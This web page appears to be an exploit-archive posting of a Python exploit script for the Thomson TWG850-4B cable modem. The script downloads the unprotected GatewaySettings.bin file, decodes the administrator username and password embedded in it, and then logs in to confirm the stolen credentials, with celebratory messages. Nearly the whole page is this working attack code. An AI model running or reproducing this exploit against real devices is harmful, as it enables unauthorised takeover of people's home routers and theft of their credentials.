Home / os / winmobile

Thomsom Cable Modem TWG850-4B ST9C.05.08 Authentication Bypass

Posted on 04 September 2015

###############################################################################
#+-////////////////////////////////////////////////////////////////////////////
#+-
#+- Exploit Title: Thomson Wireless VoIP Cable Modem Arbitrary File Access
#+- Date: October 22, 2013
#+- Author: Glaysson dos Santos
#+-
#+- Product: TWG850-4B Wireless VoIP Cable Modem
#+- Software Version: ST9C.05.08
#+- Hardware Version: 2.1
#+- BOOT Revision: 2.1.7i
#+- Standard Specification Compliant: DOCSIS 2.0
#+- Firmware Name: DWG850-4-9C.05.08-110217-S-1FF.bin
#+- Firmware Build Time 19:19:19 Thu Feb 17 2011
#+- Severity: High
#+-
#+-\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
################################################################################

import string
import urllib2
import sys
from time import sleep
import base64
import binascii
import os

save = 'log_TWG8504B.txt'
log = open(save,'w')
bifi = 'GatewaySettings.bin'
refi = 'RgComputers.asp'
R_C = ("33[0;31m")
G_C = ("33[1;32m")
D_C = ("33[0m" )

def banner():
 os.system('clear')
 print "
Thomson Wireless VoIP Cable Modem DWG850 -4B (Software Version:ST9C.05.08)- Arbitrary File Read
 
 	- 2013 - Glaysson dos Santos (0cn1)

"

def hr_data(filename, min=4):
 with open(filename, "rb") as f:
 result = ""
 for c in f.read():
 if c in string.printable:
 result += c
 continue
 if len(result) >= min:
 yield result
 print >> log, result
 result = ""
 print "(+)- Others Informations Extracted Saved in %s, but you've a Admin Password :D
"%(save)

def checkcreds(router,username,password):
 auth_handler = urllib2.HTTPBasicAuthHandler()
 auth_handler.add_password(realm='Thomson',
 uri = router,
 user = username,
 passwd= password)
 opener = urllib2.build_opener(auth_handler)
 try:
 urllib2.install_opener(opener)
 status = urllib2.urlopen('%s/%s'%(router,refi))
 print '(+)- [status:%s%s%s] Authenticated successfuly, Enjoy it!'%(G_C,status.code,D_C)

 except urllib2.URLError, e:
 if e.code == 401:
 print '(+)- [status:%s%s%s] Invalid Credentials! Try yourself in a browser.'%(R_C,e.code,D_C)

def checkvuln(router):
 try:
 print '(+)- Checking if target is vulnerable...'
 req = urllib2.Request('%s/%s'%(router,bifi))
 response = urllib2.urlopen(req)
 page = response.read()
 x = open(bifi,'wb')
 x.write(page)
 x.close()
 sleep(1)
 print '(+)- The target appears to be vulnerable, lets check it better!'
 print '(+)- Searching Credentials...'
 sleep(1)
 for s in hr_data(bifi):
 try:
 dec = base64.decodestring(s)
 if dec.find(':') != -1:
 user,passwd = dec.split(':')
 print '(+)- User: %s%s%s'%(G_C,user,D_C)
 print '(+)- Pass: %s%s%s'%(G_C,passwd,D_C)

 print '(+)- Checking if creds are OK...'
 checkcreds(router,user,passwd)

 except(binascii.Error):
 pass
 except urllib2.URLError, e:
 print '[$] hollyshit! the target is not vuln! o.O (%s%s%s)'%(R_C,e.reason[1],D_C)
 sys.exit(1)

if __name__ == "__main__":
 banner()
 if len(sys.argv) != 2:
 print '[!] %sRun %s router IP%s
'%(R_C,sys.argv[0],D_C)
 sys.exit(2)

 router = sys.argv[1]
 if not "http" in router:
 router = "http://"+(sys.argv[1])
 checkvuln(router)

 

TOP